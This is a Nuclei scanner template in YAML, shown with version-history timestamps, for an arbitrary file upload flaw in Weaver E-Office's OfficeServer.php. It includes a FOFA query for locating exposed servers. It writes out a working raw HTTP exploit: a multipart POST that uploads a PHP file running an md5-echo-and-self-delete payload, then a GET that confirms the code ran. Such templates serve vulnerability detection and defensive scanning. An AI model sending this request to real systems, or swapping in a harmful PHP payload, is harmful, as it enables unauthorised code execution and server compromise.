nuclei-templates/http/vulnerabilities/weaver/weaver-office-server-file-u...

55 lines
2.2 KiB
YAML
Raw Normal View History

2023-09-13 11:22:00 +00:00
id: weaver-office-server-file-upload
info:
2023-09-17 16:11:07 +00:00
name: OA E-Office OfficeServer.php Arbitrary File Upload
2023-09-13 11:22:00 +00:00
author: SleepingBag945
severity: critical
description: |
OA E-Office OfficeServer.php has an arbitrary file upload vulnerability. Attackers can obtain sensitive information on the server through the vulnerability.
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20OfficeServer.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 2
fofa-query: app="泛微-EOffice"
2023-09-17 16:11:07 +00:00
tags: weaver,e-office,oa,rce,intrusive,fileupload
2023-09-13 11:22:00 +00:00
variables:
filename: "{{to_lower(rand_base(5))}}"
2024-04-15 11:26:37 +00:00
string: "weaver-office-server-file-upload"
2023-09-13 11:22:00 +00:00
http:
- raw:
- |
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpoiBFy4ANA8daew
------WebKitFormBoundaryLpoiBFy4ANA8daew
Content-Disposition: form-data;name="FileData";filename="{{filename}}.php"
Content-Type: application/octet-stream
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");unlink(__FILE__);?>
2023-09-13 11:22:00 +00:00
------WebKitFormBoundaryLpoiBFy4ANA8daew
Content-Disposition: form-data;name="FormData"
{'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{filename}}.php'}
------WebKitFormBoundaryLpoiBFy4ANA8daew--
- |
GET /eoffice10/server/public/iWebOffice2015/Document/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2023-09-13 11:22:00 +00:00
- type: status
status:
2023-10-14 11:27:55 +00:00
- 200
# digest: 4a0a0047304502203127ce2e098b2266d9481c1c61ac61144546c744a6df4106dd3ceebee2e93767022100802af24d36ee037cd653efa73e917ade93c76cc561d9572fb27f38bfffdd04b5:922c64590222798bb761d5b6d8e72950